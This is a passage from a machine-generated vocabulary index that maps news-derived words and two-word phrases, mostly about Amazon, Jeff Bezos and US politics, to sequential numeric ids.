"luncheon event": 192047, "soho": 192048, "billion people": 192049, "maintained feud": 192050, "direct president": 192051, "jeff built": 192052, "unravel": 192053, "russian hacking": 192054, "siblings relationship": 192055, "davos canopy": 192056, "gouging": 192057, "airline washington": 192058, "hands crazy": 192059, "paper streamlining": 192060, "assassination citing": 192061, "reigning": 192062, "democrats responded": 192063, "undersigned organizations": 192064, "life fixated": 192065, "commerce volumes": 192066, "plumer": 192067, "ponders": 192068, "manipulating lines": 192069, "secret millionaire": 192070, "investitgator gavin": 192071, "running list": 192072, "house latest": 192073, "inside aws": 192074, "transactional mail": 192075, "staffing issues": 192076, "transitions stacy": 192077, "individual reportedly": 192078, "b077l6ksgm": 192079, "sells technology": 192080, "wrongful hold": 192081, "final leg": 192082, "chose medium": 192083, "thestreet trump": 192084, "idle time": 192085, "enchanted fans": 192086, "bright": 192087, "house seats": 192088, "dems demand": 192089, "conservative rulings": 192090, "society transgender": 192091, "paraphrased washington": 192092, "offers pre": 192093, "clearly looks": 192094, "charlie munger": 192095, "r4ee j9x": 192096, "work required": 192097, "work marketplace": 192098, "twitter allegedly": 192099, "congressional districts": 192100, "merrick garland": 192101, "covered wide": 192102, "reddit banned": 192103, "celebrate trump": 192104, "rowan morris": 192105, "centre according": 192106, "multiple monopolies": 192107, "quoted source": 192108, "19th amendment": 192109, "previously served": 192110, "immigration activists": 192111, "political bank": 192112, "narrow mandate": 192113, "le penseur": 192114, "gallu 2018": 192115, "unique profiles": 192116, "shinning": 192117, "secures new": 192118, "travel cities": 192119, "librarian says": 192120, "solely focused": 192121, "death camps": 192122, "burial": 192123, "twitters lead": 192124, "swap": 192125, "contracted": 192126, "bezos phone": 192127, "criticizing rome": 192128, "antitrust grounds": 192129, "globes awards": 192130, "bezos household": 192131, "turkish": 192132, "sanchez david": 192133, "election question": 192134, "unconventional loans": 192135, "mcdonalds stock": 192136, "fates": 192137, "becker threatening": 192138, "voice enabled": 192139, "ubers": 192140, "california posted": 192141, "publish lewd": 192142, "nosedive": 192143, "health scare": 192144, "slugger": 192145, "granted": 192146, "chances bezos": 192147, "partisan point": 192148, "company sales": 192149, "provide investment": 192150, "effort putin": 192151, "presenting lot": 192152, "facing competition": 192153, "heavily researched": 192154, "including pope": 192155, "interview dave": 192156, "dot home": 192157, "slow moving": 192158, "online free": 192159, "economic reprisals": 192160, "nutty": 192161, "feuded specifically": 192162, "added anticipation": 192163, "second city": 192164, "nonprofits based": 192165, "bronx boroughs": 192166, "photo matt": 192167, "arjun panchadar": 192168, "install headquarters": 192169, "amazon cuomo": 192170, "hilariously": 192171, "stevens contactus": 192172, "app fubotv": 192173, "bin salman": 192174, "adult issues": 192175, "dastin san": 192176, "stickier structural": 192177, "leaflets gmb": 192178, "longstanding prohibition": 192179, "office stocking": 192180, "bring retribution": 192181, "stop book": 192182, "pleasantly punitive": 192183, "astronaut": 192184, "sanders new": 192185, "passive player": 192186, "cancer": 192187, "turn formal": 192188, "bolsonaro government": 192189, "gated": 192190, "content based": 192191, "silver": 192192, "150 meter": 192193, "rolls": 192194, "commission determined": 192195, "including big": 192196, "showed poor": 192197, "walmart runs": 192198, "money church": 192199, "hearts howard": 192200, "reception took": 192201, "mode using": 192202, "buzz": 192203, "way straight": 192204, "fool asset": 192205, "price ticket": 192206, "governance asked": 192207, "freebeacon": 192208, "boston": 192209, "mild slowdown": 192210, "warned nadler": 192211, "appears imminent": 192212, "women pecker": 192213, "gerard": 192214, "alibaba alibabas": 192215, "costar group": 192216, "addressed donald": 192217, "variously": 192218, "execution appears": 192219, "painful horror": 192220, "del toro": 192221, "captive audience": 192222, "anti monopoly": 192223, "called feel": 192224, "agency afloat": 192225, "trump team": 192226, "bs_bullet_primary": 192227, "day lives": 192228, "partnership opportunities": 192229, "embassies": 192230, "today schedule": 192231, "strict approach": 192232, "past jeff": 192233, "inquiry dead": 192234, "government subsidies": 192235, "geraldine": 192236, "fave": 192237, "day best": 192238, "2019 abc": 192239, "wine counterfeiting": 192240, "palantir data": 192241, "administration demanding": 192242, "dreidel set": 192243, "regularly seeks": 192244, "abusing workers": 192245, "wayfair introduced": 192246, "jshapiro politico": 192247, "republicans minority": 192248, "project theme": 192249, "google highly": 192250, "245 billion": 192251, "lmt renegotiated": 192252, "heavyweights urge": 192253, "main risk": 192254, "panagora": 192255, "accumulated riches": 192256, "industry experts": 192257, "virtually nonexistent": 192258, "amendment": 192259, "canada till": 192260, "special rate": 192261, "populist campaign": 192262, "sure aws": 192263, "lies": 192264, "post company": 192265, "leave sen": 192266, "000 homes": 192267, "correspondent jenna": 192268, "deal declare": 192269, "suleiman wife": 192270, "vietnam street": 192271, "jedi winning": 192272, "hurd ceo": 192273, "china movie": 192274, "bills stood": 192275, "shunned": 192276, "products worth": 192277, "lee expertly": 192278, "investigating flint": 192279, "formative lessons": 192280, "dilemma china": 192281, "grow increasingly": 192282, "good faith": 192283, "businesses choose": 192284, "employment": 192285, "pong pizza": 192286, "suntrust": 192287, "hart affair": 192288, "jberman peerlessmedia": 192289, "experts believe": 192290, "plugged": 192291, "taking magnifying": 192292, "florida red": 192293, "cordial meeting": 192294, "world thestreet": 192295, "diego padres": 192296, "widely reform": 192297, "rigorous coverage": 192298, "scum": 192299, "suddenly appeared": 192300, "brazil supreme": 192301, "today governor": 192302, "told national": 192303, "construct national": 192304, "grow abnormally": 192305, "train crash": 192306, "cramer action": 192307, "putin ruthless": 192308, "meeting reportedly": 192309, "gum drinks": 192310, "subscription business": 192311, "trump sprout": 192312, "carousel__content__item": 192313, "taxes citi": 192314, "evening bezos": 192315, "braintree mayor": 192316, "indomitable olive": 192317, "heightened criticism": 192318, "inflected controversy": 192319, "allegedly inspired": 192320, "colorado suburban": 192321, "submit claims": 192322, "created living": 192323, "multi year": 192324, "ad campaign": 192325, "clearly explained": 192326, "110 words": 192327, "a2": 192328, "david luhnow": 192329, "workers umwa": 192330, "big branch": 192331, "najaf india": 192332, "ventures amazon": 192333, "criminal behavior": 192334, "000 prizes": 192335, "don work": 192336, "political read": 192337, "eventually declared": 192338, "absorb multiple": 192339, "gone emery": 192340, "question proposals": 192341, "ire trump": 192342, "org columnist": 192343, "findlay mark": 192344, "answer welp": 192345, "economic illiteracy": 192346, "force believes": 192347, "hunts": 192348, "glaciers": 192349, "income investor": 192350, "applicable rules": 192351, "project tax": 192352, "sphere": 192353, "apple donald": 192354, "newspaper reports": 192355, "maza": 192356, "programming puzzles": 192357, "questioned trump": 192358, "seriesname null": 192359, "bezos ordered": 192360, "disciplined": 192361, "bundling": 192362, "worth swelling": 192363, "corbett earlier": 192364, "total new": 192365, "devon pendleton": 192366, "sharply accelerating": 192367, "maine claiming": 192368, "conference ms": 192369, "miles teller": 192370, "test case": 192371, "employees earn": 192372, "undeserved": 192373, "nyse jpm": 192374, "massive commerce": 192375, "congressman rips": 192376, "alex alben": 192377, "farr thought": 192378, "democrats love": 192379, "performing arts": 192380, "cra plan": 192381, "g5e": 192382, "beating estimates": 192383, "definitive": 192384, "paying 139": 192385, "global reach": 192386, "tech indirectly": 192387, "cross canada": 192388, "lynette hardaway": 192389, "holiday shopping": 192390, "news organizations": 192391, "coverup": 192392, "stories coming": 192393, "personal demons": 192394, "free parking": 192395, "hammack": 192396, "order isn": 192397, "inexplicable": 192398, "facebook fireworks": 192399, "executives available": 192400, "individuals named": 192401, "ravpower": 192402, "worn": 192403, "horizontal": 192404, "conservatives 732": 192405, "state environmentalists": 192406, "worse president": 192407, "drug store": 192408, "slideshowsplitting": 192409, "exchange immelt": 192410, "tech vestager": 192411, "race protestors": 192412, "shipping customs": 192413, "disclaim political": 192414, "named gagster": 192415, "dorsey directly": 192416, "toronto housing": 192417, "improvements": 192418, "pulled ahead": 192419, "fragile af": 192420, "sell high": 192421, "decidedly trump": 192422, "reliable family": 192423, "recent story": 192424, "open attempts": 192425, "headlinetext function": 192426, "401 contributions": 192427, "american states": 192428, "real relationship": 192429, "financial investment": 192430, "buy ton": 192431, "general categories": 192432, "carve outs": 192433, "alex wong": 192434, "respective digital": 192435, "consider hate": 192436, "political establishment": 192437, "healthcare writers": 192438, "expert analysis": 192439, "217 789": 192440, "commentators separately": 192441, "scrutinize large": 192442, "company works": 192443, "editor 197658": 192444, "owns video": 192445, "store designed": 192446, "snowed": 192447, "andthat deterring": 192448, "travelled challenges": 192449, "college resulted": 192450, "enthusiasm": 192451, "wealthy nassau": 192452, "delivery contract": 192453, "backup": 192454, "news socialism": 192455, "filed buzzfeed": 192456, "sign confidentiality": 192457, "hq2 deal": 192458, "itty bitty": 192459, "montellaro transitions": 192460, "lows europe": 192461, "interventionist": 192462, "pen claims": 192463, "ride rating": 192464, "zappos surprised": 192465, "tm threats": 192466, "concerns antitrust": 192467, "additions": 192468, "photo robert": 192469, "industry given": 192470, "news zuckerberg": 192471, "mother photo": 192472, "reports estimate": 192473, "president believes": 192474, "negotiated discounts": 192475, "daddy money": 192476, "huge losses": 192477, "high 273": 192478, "toilet paper": 192479, "york post": 192480, "lee curtis": 192481, "varney asked": 192482, "cases result": 192483, "company ubhi": 192484, "renuka rayasam": 192485, "hawaiians understandably": 192486, "chilling": 192487, "called direct": 192488, "biodiversity conservation": 192489, "government represents": 192490, "intelligence programs": 192491, "trolling amazon": 192492, "columnists mitchell": 192493, "new hero": 192494, "blackburn amazon": 192495, "association trade": 192496, "crippling new": 192497, "changing hands": 192498, "son allowed": 192499, "increased pay": 192500, "cheerful": 192501, "overload": 192502, "intimate family": 192503, "republicanism": 192504, "office companies": 192505, "getplayerbycontainer configobj": 192506, "succeeds pascal": 192507, "seema mody": 192508, "pressure online": 192509, "a4ee a8": 192510, "warren sent": 192511, "behemoths frank": 192512, "punchlines border": 192513, "late 2015": 192514, "reformed paul": 192515, "perceived": 192516, "pleasures": 192517, "mohler communications": 192518, "help meet": 192519, "hhost brian": 192520, "talking cars": 192521, "high begin": 192522, "intensifying margin": 192523, "mahoney mahoney": 192524, "long period": 192525, "different brand": 192526, "texan cody": 192527, "munduruku": 192528, "regulatory oversight": 192529, "battle bezos": 192530, "communicate message": 192531, "subsidy reason": 192532, "taxpayers takes": 192533, "unelected officials": 192534, "stay bearish": 192535, "amzn facebook": 192536, "wrong aside": 192537, "material hey": 192538, "share passed": 192539, "nuisance": 192540, "biografia": 192541, "product categories": 192542, "track market": 192543, "qualified entrepreneurs": 192544, "amazon 1153": 192545, "state capital": 192546, "hollywood studios": 192547, "terrific norah": 192548, "sept donald": 192549, "karaivanova": 192550, "half blood": 192551, "debbie weingarten": 192552, "write r4ee": 192553, "academically gifted": 192554, "contracting service": 192555, "y1": 192556, "correlates": 192557, "novel travelers": 192558, "allergic reaction": 192559, "containerel jquery": 192560, "air freight": 192561, "trump specifically": 192562, "retail items": 192563, "don celebrate": 192564, "plus amazon": 192565, "online services": 192566, "tech negative": 192567, "pols": 192568, "pbs frontline": 192569, "ugliest": 192570, "alice walton": 192571, "agreement ami": 192572, "olivia colman": 192573, "start services": 192574, "\u0430bob": 192575, "package theft": 192576, "precarious": 192577, "mission earth": 192578, "past editions": 192579, "personal beliefs": 192580, "massage therapist": 192581, "pot shots": 192582, "satellite launch": 192583, "people added": 192584, "otting": 192585, "government growing": 192586, "newfound tools": 192587, "bookseller bezos": 192588, "ontario": 192589, "cohen requiring": 192590, "hoffman": 192591, "administration approved": 192592, "medical hearing": 192593, "uncertainty rules": 192594, "incredibly": 192595, "taking fearless": 192596, "agencies ice": 192597, "toxic business": 192598, "general spooked": 192599, "thousand dollar": 192600, "appointing": 192601, "oxford american": 192602, "ashley parker": 192603, "hollywood": 192604, "freelancers": 192605, "juices flowing": 192606, "including montgomery": 192607, "high need": 192608, "jarige": 192609, "fines": 192610, "attempts": 192611, "redacted report": 192612, "warriors just": 192613, "telling business": 192614, "free movement": 192615, "trump unfamiliar": 192616, "coverage leaks": 192617, "frazier gaines": 192618, "vacation properties": 192619, "rogowsky": 192620, "says lower": 192621, "coral springs": 192622, "ourplans": 192623, "major difference": 192624, "star lilly": 192625, "marine vet": 192626, "free copy": 192627, "allegations rupert": 192628, "hawaiian monk": 192629, "undertone": 192630, "swoons shares": 192631, "134 00m": 192632, "including campaign": 192633, "massive subsidy": 192634, "offered murky": 192635, "j8i e0": 192636, "story judge": 192637, "public recognition": 192638, "impasse": 192639, "geithner": 192640, "way mueller": 192641, "month revenue": 192642, "products stocks": 192643, "brazil president": 192644, "unjustly": 192645, "l7 var": 192646, "used immediately": 192647, "disability insurance": 192648, "mika brzezinski": 192649, "thing people": 192650, "discussed removing": 192651, "debate norah": 192652, "retaliates 2018": 192653, "global real": 192654, "peels away": 192655, "hq study": 192656, "community dave": 192657, "karma google": 192658, "lord known": 192659, "maintained bezos": 192660, "widowed mothers": 192661, "contract named": 192662, "grill": 192663, "believing": 192664, "effectively proved": 192665, "economic ministries": 192666, "investigations revealed": 192667, "company accounts": 192668, "vendors alibaba": 192669, "vf anecdote": 192670, "silent": 192671, "morning featuring": 192672, "carol roth": 192673, "l1 a4ee": 192674, "exclusive amazon": 192675, "knowledge trump": 192676, "begin delivering": 192677, "commerce articleshow": 192678, "shipping annually": 192679, "groceries chains": 192680, "simon stated": 192681, "poorer giving": 192682, "culture": 192683, "collusion jeff": 192684, "french retailer": 192685, "doing maybe": 192686, "nostalgia warm": 192687, "flood victim": 192688, "mode doesn": 192689, "tirelessly": 192690, "competitor oracle": 192691, "pass legislation": 192692, "amazon north": 192693, "facebook net": 192694, "allen films": 192695, "just wait": 192696, "gossip story": 192697, "fierce debate": 192698, "defensive group": 192699, "identifying": 192700, "hydrating cleansing": 192701, "big swing": 192702, "billion federal": 192703, "history hottest": 192704, "destroy room": 192705, "china plus": 192706, "630 words": 192707, "personal complete": 192708, "comments strike": 192709, "wasnt altered": 192710, "peak seasons": 192711, "detox": 192712, "dmcc kmgt": 192713, "old mcdonald": 192714, "quashed": 192715, "easier employee": 192716, "actually makes": 192717, "effects plus": 192718, "seats phil": 192719, "amazon huseman": 192720, "expressly": 192721, "tom taulli": 192722, "post alex": 192723, "video business": 192724, "ultimate success": 192725, "area definitely": 192726, "livestreaming": 192727, "detailed look": 192728, "ubhi linkedin": 192729, "mandated business": 192730, "receives royalties": 192731, "package prices": 192732, "special treat": 192733, "ahead looking": 192734, "glance california": 192735, "racist toy": 192736, "liberal ideologies": 192737, "week salles": 192738, "president sphere": 192739, "companies roles": 192740, "newman considered": 192741, "975 969": 192742, "435 words": 192743, "gvodujpo": 192744, "ended apple": 192745, "shopping sprees": 192746, "recent picture": 192747, "packed goods": 192748, "pretty significantly": 192749, "burning new": 192750, "jointly": 192751, "bach 2018": 192752, "jerusalem months": 192753, "pleasecontinue": 192754, "killing veena": 192755, "drugmaker teva": 192756, "issue quickly": 192757, "announces negotiating": 192758, "obama stopthebias": 192759, "coordinators": 192760, "routers networking": 192761, "landline telephones": 192762, "proper action": 192763, "amazon dominates": 192764, "paul sweeney": 192765, "finance understand": 192766, "appellate": 192767, "ultimate responsibility": 192768, "drive positive": 192769, "far don": 192770, "disaster coming": 192771, "dhi": 192772, "travel according": 192773, "discovery": 192774, "new rece": 192775, "label sellers": 192776, "gold": 192777, "opportunities": 192778, "experience service": 192779, "edge cap": 192780, "human workers": 192781, "sanders praising": 192782, "askingfor": 192783, "controversial figure": 192784, "rails": 192785, "imperatives": 192786, "emailed en": 192787, "nation happy": 192788, "snooping": 192789, "outlets internationally": 192790, "disrupts school": 192791, "2017 munich": 192792, "bleakley advisory": 192793, "ny sent": 192794, "npr hide": 192795, "meng wanzhou": 192796, "chinese foreign": 192797, "president reiterated": 192798, "incentives gone": 192799, "economy conference": 192800, "main passions": 192801, "outside fordham": 192802, "lewd images": 192803, "retain key": 192804, "wildenstein divorced": 192805, "presidenthas": 192806, "gregpmiller": 192807, "beholder": 192808, "approved increase": 192809, "copycat product": 192810, "consumer habits": 192811, "big problem": 192812, "people netflix": 192813, "massive tech": 192814, "g6": 192815, "theory workers": 192816, "messages sanchez": 192817, "buys approximately": 192818, "rolfe commissioner": 192819, "type style": 192820, "people leave": 192821, "orbital class": 192822, "amazon platform": 192823, "microneedles suggestions": 192824, "quiet compared": 192825, "meaning picture": 192826, "refund getting": 192827, "legal threats": 192828, "earlier work": 192829, "governments showering": 192830, "x6cue": 192831, "amazon quickly": 192832, "continent": 192833, "joint event": 192834, "gardeners": 192835, "signed agreements": 192836, "result bias": 192837, "1517et copyright": 192838, "pleased writing": 192839, "star president": 192840, "unarmed": 192841, "antitrust subcommittee": 192842, "firm lowered": 192843, "amazon frequently": 192844, "shows donald": 192845, "financial protection": 192846, "completely subjective": 192847, "payment": 192848, "atwater": 192849, "gavin": 192850, "ready": 192851, "rubenstein": 192852, "kids schools": 192853, "leaving ceos": 192854, "company vehicles": 192855, "little better": 192856, "reston": 192857, "life exposed": 192858, "level thinking": 192859, "creates monopoly": 192860, "respective national": 192861, "expensive health": 192862, "submitting bids": 192863, "claimed": 192864, "issue sensibly": 192865, "enforce stricter": 192866, "jeremy corbyn": 192867, "locust": 192868, "aftershock regarding": 192869, "northeastern port": 192870, "fraud": 192871, "maximizedbanner false": 192872, "decisions government": 192873, "cease ordering": 192874, "ap bezos": 192875, "firm globaldata": 192876, "financing model": 192877, "fundamental principle": 192878, "big growth": 192879, "parts united": 192880, "representative opposition": 192881, "create reports": 192882, "steering defect": 192883, "trump cover": 192884, "conference amazon": 192885, "review original": 192886, "powerful mafia": 192887, "voice commands": 192888, "abuse problem": 192889, "groceries pharmaceuticals": 192890, "hazards": 192891, "senator calls": 192892, "acclaimed novel": 192893, "know crystal": 192894, "areas ibama": 192895, "import 2018": 192896, "albany reading": 192897, "qanon slogans": 192898, "gates bezos": 192899, "shannon stapleton": 192900, "ingrained": 192901, "hurt competitors": 192902, "outgoing republican": 192903, "carbondale": 192904, "chungah rhee": 192905, "institutional shareholder": 192906, "small bottle": 192907, "justified cable": 192908, "fought legal": 192909, "taxes falls": 192910, "skewering embattled": 192911, "network giant": 192912, "stricter rules": 192913, "shopping thanksgiving": 192914, "multiple layers": 192915, "zurawik": 192916, "teach houston": 192917, "300 store": 192918, "agoura": 192919, "historical note": 192920, "solicitation alleging": 192921, "taxes people": 192922, "natascha mcelhone": 192923, "traders snapped": 192924, "identified hate": 192925, "scandal sheet": 192926, "america hillary": 192927, "sportsbook podcast": 192928, "business market": 192929, "little respect": 192930, "patton": 192931, "similarly intervene": 192932, "amzn stock": 192933, "shoes colbert": 192934, "trading juggernaut": 192935, "men chris": 192936, "cattle boom": 192937, "began delivering": 192938, "friendly company": 192939, "mapping cbre": 192940, "recent syrian": 192941, "tax paying": 192942, "browns": 192943, "employers added": 192944, "zing ne": 192945, "250 shares": 192946, "movie culture": 192947, "expansion increases": 192948, "break transcript": 192949, "dangerously big": 192950, "incident senators": 192951, "month wrote": 192952, "lgbtq migrants": 192953, "vmware cloud": 192954, "markets global": 192955, "restore seemingly": 192956, "chain barnes": 192957, "thing don": 192958, "nato summit": 192959, "way rebekah": 192960, "turkey currency": 192961, "tech squads": 192962, "republicans new": 192963, "321": 192964, "based pricing": 192965, "punish media": 192966, "apologies": 192967, "told interviewer": 192968, "applications covered": 192969, "woman jeff": 192970, "outmatched": 192971, "unsuccessful attempt": 192972, "email saying": 192973, "near wholesale": 192974, "court decisions": 192975, "city decision": 192976, "cpg": 192977, "pure play": 192978, "calls story": 192979, "crime victims": 192980, "bigbusiness share": 192981, "bradford": 192982, "ease fears": 192983, "2018 nike": 192984, "commerce committee": 192985, "alexenko": 192986, "throwing stick": 192987, "rated super": 192988, "worsening trade": 192989, "databases activist": 192990, "selfie": 192991, "copyright truthout": 192992, "nv accesswire": 192993, "threaten innovation": 192994, "better combat": 192995, "ordered thermometer": 192996, "reveal bezos": 192997, "record meetings": 192998, "lasting psychological": 192999, "requested": 193000, "press number": 193001, "korea war": 193002, "frosty relationship": 193003, "distinctly": 193004, "tweets continue": 193005, "enquirer threats": 193006, "precise false": 193007, "electronic communications": 193008, "gloated": 193009, "spot checks": 193010, "media incorporated": 193011, "similar way": 193012, "2020 digital": 193013, "coordinated manner": 193014, "unfair pricing": 193015, "support new": 193016, "dds sounds": 193017, "long suffered": 193018, "whistles according": 193019, "vaxcalc": 193020, "hack conspiracy": 193021, "demand later": 193022, "2rwt0wj8vd elizabeth": 193023, "cac quarante": 193024, "recent uptick": 193025, "qanon posts": 193026, "veiled reference": 193027, "whitehall": 193028, "5th": 193029, "warren staunch": 193030, "ground near": 193031, "nguyen": 193032, "lola zinke": 193033, "lot save": 193034, "brandom": 193035, "going fast": 193036, "frequent targets": 193037, "breakfast bezos": 193038, "touching 646": 193039, "director larry": 193040, "legal immigration": 193041, "area spikes": 193042, "store chaos": 193043, "billionaire": 193044, "provoked constant": 193045, "strong growth": 193046, "amid ongoing": 193047, "4450 9c59": 193048, "breathed easier": 193049, "scotus": 193050, "today challenges": 193051, "membrane": 193052, "vehicles uniforms": 193053, "castle rock": 193054, "year contending": 193055, "consenting": 193056, "versus estimates": 193057, "buried": 193058, "rep erik": 193059, "added overarching": 193060, "losing cities": 193061, "texts gavin": 193062, "luck difficulty": 193063, "gtld programme": 193064, "won guarantees": 193065, "considers revoking": 193066, "trump private": 193067, "dispirited": 193068, "ones amazon": 193069, "hunting el": 193070, "2015 2018": 193071, "stands treasury": 193072, "media celebutard": 193073, "tiger press": 193074, "results set": 193075, "edison": 193076, "written critical": 193077, "single reporter": 193078, "minhaj netflix": 193079, "accretive acquisition": 193080, "misspelling": 193081, "incremental cost": 193082, "prices franchise": 193083, "edge rep": 193084, "service led": 193085, "chaotic political": 193086, "google executive": 193087, "tales": 193088, "revenue rise": 193089, "turn act": 193090, "groundwater": 193091, "entertainment france": 193092, "company mountain": 193093, "royalties": 193094, "companies related": 193095, "emails seen": 193096, "matthew gehl": 193097, "opt instead": 193098, "lindsey nyt": 193099, "fear mongering": 193100, "perniciousness": 193101, "material": 193102, "eliminated amazon": 193103, "amazonbasics critics": 193104, "unusually blunt": 193105, "whitesell sanchez": 193106, "amazon cash": 193107, "google collection": 193108, "title cooper": 193109, "3121": 193110, "census amazon": 193111, "guantanamo bay": 193112, "emotional distress": 193113, "strong feelings": 193114, "handing democrats": 193115, "characteristic lock": 193116, "says great": 193117, "begin murder": 193118, "jan hours": 193119, "olive oil": 193120, "2010 following": 193121, "alcoholic wash": 193122, "winged": 193123, "level protections": 193124, "tour visit": 193125, "robinhood tempts": 193126, "harvey recently": 193127, "23rd herera": 193128, "native led": 193129, "attorney shannon": 193130, "signit pocket": 193131, "2004 hit": 193132, "korean court": 193133, "514 shares": 193134, "ellie case": 193135, "mayans mc": 193136, "hle": 193137, "disruptive force": 193138, "gmt preventing": 193139, "using artificial": 193140, "build new": 193141, "long argued": 193142, "veterans elected": 193143, "students deserve": 193144, "reverse management": 193145, "money cnl_featuretype": 193146, "litigators marty": 193147, "400 page": 193148, "annual geeks": 193149, "risk blowing": 193150, "investigation finds": 193151, "weaponized": 193152, "typical person": 193153, "informed consent": 193154, "nation right": 193155, "union stance": 193156, "new office": 193157, "european shares": 193158, "claims read": 193159, "foreign financing": 193160, "nonsense reducing": 193161, "hardee": 193162, "a1 headline": 193163, "whatis described": 193164, "ex walmart": 193165, "schiller": 193166, "growing unhappiness": 193167, "liked spats": 193168, "speak deepti": 193169, "meng asking": 193170, "longstanding postal": 193171, "brynn anderson": 193172, "says court": 193173, "scarff": 193174, "key levers": 193175, "stocks stock": 193176, "potential hacking": 193177, "market sellers": 193178, "source familiar": 193179, "richard meyerhoff": 193180, "wing site": 193181, "offering value": 193182, "wide range": 193183, "caught chicago": 193184, "nipnlg": 193185, "examples amazon": 193186, "opposing vertical": 193187, "round trump": 193188, "larry robbins": 193189, "reportedly seeking": 193190, "ulteras human": 193191, "companies attempting": 193192, "embarrassed embarrassed": 193193, "activity trump": 193194, "team claims": 193195, "officials killed": 193196, "reconsidering building": 193197, "make strategic": 193198, "518 454": 193199, "little understanding": 193200, "arrested charged": 193201, "read additionally": 193202, "estate deal": 193203, "statement nooyi": 193204, "offer branded": 193205, "carlson endorsement": 193206, "falling circulation": 193207, "wealth equality": 193208, "jr retweeted": 193209, "balzer": 193210, "airbnb": 193211, "dialectics rent": 193212, "caved": 193213, "sharing users": 193214, "jpg 970x450": 193215, "gdp numbers": 193216, "skip bathroom": 193217, "clinton leading": 193218, "sorkin warren": 193219, "stunt double": 193220, "immigration snafu": 193221, "meadows north": 193222, "long benefited": 193223, "series cookbook": 193224, "innovative ways": 193225, "amazon boss": 193226, "shedding": 193227, "cup pitch": 193228, "documentarian": 193229, "allowed signed": 193230, "sent ckpics": 193231, "live steve": 193232, "hear kavanaugh": 193233, "uk claims": 193234, "victory believe": 193235, "group chat": 193236, "cook county": 193237, "ranch owned": 193238, "demanding fair": 193239, "risked": 193240, "intuition": 193241, "trump genitals": 193242, "bray ny": 193243, "decisions saying": 193244, "geekwire amazon": 193245, "particular person": 193246, "people biggest": 193247, "trump reportedly": 193248, "absolutely correct": 193249, "language abramson": 193250, "possible break": 193251, "starting prodigy": 193252, "husband henry": 193253, "rating checked": 193254, "kate rogers": 193255, "arguments r4ee": 193256, "6th grade": 193257, "john mackey": 193258, "typically sorts": 193259, "105 reduced": 193260, "ronan farrow": 193261, "prime candidate": 193262, "logistic": 193263, "rapidly rising": 193264, "play national": 193265, "seema": 193266, "newsrooms": 193267, "public internet": 193268, "huawei technologies": 193269, "boy raising": 193270, "administration imposed": 193271, "phone buy": 193272, "sanchez offered": 193273, "peso collapse": 193274, "eater": 193275, "tale rent": 193276, "fba sellers": 193277, "potential enabler": 193278, "inspired book": 193279, "robocalls": 193280, "bones": 193281, "cummins": 193282, "citing lack": 193283, "outspends": 193284, "controlled state": 193285, "company creates": 193286, "juleanna": 193287, "bribes": 193288, "retail king": 193289, "retreated early": 193290, "double irish": 193291, "souls legitimate": 193292, "face choice": 193293, "secretary robert": 193294, "action required": 193295, "copp military": 193296, "politics calendars": 193297, "vox called": 193298, "oppose brazilian": 193299, "firecracker doesin": 193300, "google engineers": 193301, "want people": 193302, "obviously mueller": 193303, "authoritative": 193304, "crisis waiting": 193305, "mas": 193306, "polio deaths": 193307, "service youtube": 193308, "netflix embedded": 193309, "double amazon": 193310, "really open": 193311, "powered": 193312, "offender sought": 193313, "noonan": 193314, "customers intimidation": 193315, "hear": 193316, "worldwide meaning": 193317, "ia president": 193318, "strikingly similar": 193319, "regulation block": 193320, "schools homelessness": 193321, "online items": 193322, "thoroughly": 193323, "holdings glob": 193324, "immigration attorney": 193325, "amazon experiences": 193326, "various accouterments": 193327, "liability balances": 193328, "create network": 193329, "publisher henry": 193330, "indian rules": 193331, "nuclear weapon": 193332, "forte": 193333, "especially compared": 193334, "technology review": 193335, "enabled technology": 193336, "favorite subjects": 193337, "question rightly": 193338, "market news": 193339, "jay carney": 193340, "owen ap": 193341, "professors explained": 193342, "michael pachter": 193343, "nixon tape": 193344, "bob menendez": 193345, "business going": 193346, "simply unavailable": 193347, "weighs uber": 193348, "tax anti": 193349, "doesn trump": 193350, "homegrown internet": 193351, "unique identities": 193352, "japan finance": 193353, "opened box": 193354, "regulatory agencies": 193355, "hq2 seattle": 193356, "address stating": 193357, "following click": 193358, "americans struggle": 193359, "volcano pictures": 193360, "days wear": 193361, "contract nears": 193362, "comment postmaster": 193363, "valley billionaire": 193364, "sun read": 193365, "amazons push": 193366, "parties warren": 193367, "hartnell sketch": 193368, "market economics": 193369, "edged": 193370, "plan summit": 193371, "york sen": 193372, "doing dirty": 193373, "line brexit": 193374, "calories day": 193375, "ashleyrgold steven": 193376, "environmental criminal": 193377, "amed rosario": 193378, "2018 conference": 193379, "vital importance": 193380, "valuable ammunition": 193381, "humor ebooks": 193382, "localofficials": 193383, "brushing": 193384, "spending exports": 193385, "2015 pdf": 193386, "north michigan": 193387, "location travel": 193388, "writes bezos": 193389, "3dpi": 193390, "obtaining": 193391, "critics shouted": 193392, "just exactly": 193393, "amazon black": 193394, "challenge silicon": 193395, "anchor getty": 193396, "recently focused": 193397, "story refuted": 193398, "memory problems": 193399, "says infographic": 193400, "comprehensive evaluation": 193401, "rectification": 193402, "insights wrote": 193403, "revenge aws": 193404, "lightning": 193405, "press freedom": 193406, "old girl": 193407, "book jumped": 193408, "tone vis": 193409, "explore parts": 193410, "results musk": 193411, "hathaway jpmorgan": 193412, "forrest gump": 193413, "good story": 193414, "applied scientists": 193415, "usa brought": 193416, "donald von": 193417, "eliminates loophole": 193418, "mnuchin statement": 193419, "despite numerous": 193420, "encompass": 193421, "store new": 193422, "allowed apple": 193423, "sinise": 193424, "000 automated": 193425, "wholly owned": 193426, "doral": 193427, "marc marc9926": 193428, "lurid revelations": 193429, "winning business": 193430, "discrimination whirlpool": 193431, "882": 193432, "founder prominent": 193433, "immediately likeable": 193434, "inflation worries": 193435, "michael dukakis": 193436, "billion revenues": 193437, "surged": 193438, "evening interviewed": 193439, "rouhani hurled": 193440, "salvador": 193441, "convenience selection": 193442, "tweeted just": 193443, "year forecast": 193444, "webb rips": 193445, "independent quoted": 193446, "sniffing death": 193447, "billionaire jumps": 193448, "wrote steve": 193449, "manipulative seller": 193450, "jean claude": 193451, "increased cost": 193452, "talent including": 193453, "environmental experts": 193454, "amatos": 193455, "jeong": 193456, "announce divorce": 193457, "accepting bribes": 193458, "clean way": 193459, "nichols richmond": 193460, "companies identified": 193461, "bezo tyler": 193462, "journalist tells": 193463, "principle analyst": 193464, "angling": 193465, "dade college": 193466, "presorted dose": 193467, "reduce red": 193468, "people trapped": 193469, "2c inches": 193470, "open trade": 193471, "charcater": 193472, "tonight peek": 193473, "morning media": 193474, "mutual home": 193475, "personal issue": 193476, "step remedy": 193477, "utilise": 193478, "books seeking": 193479, "teenage classmates": 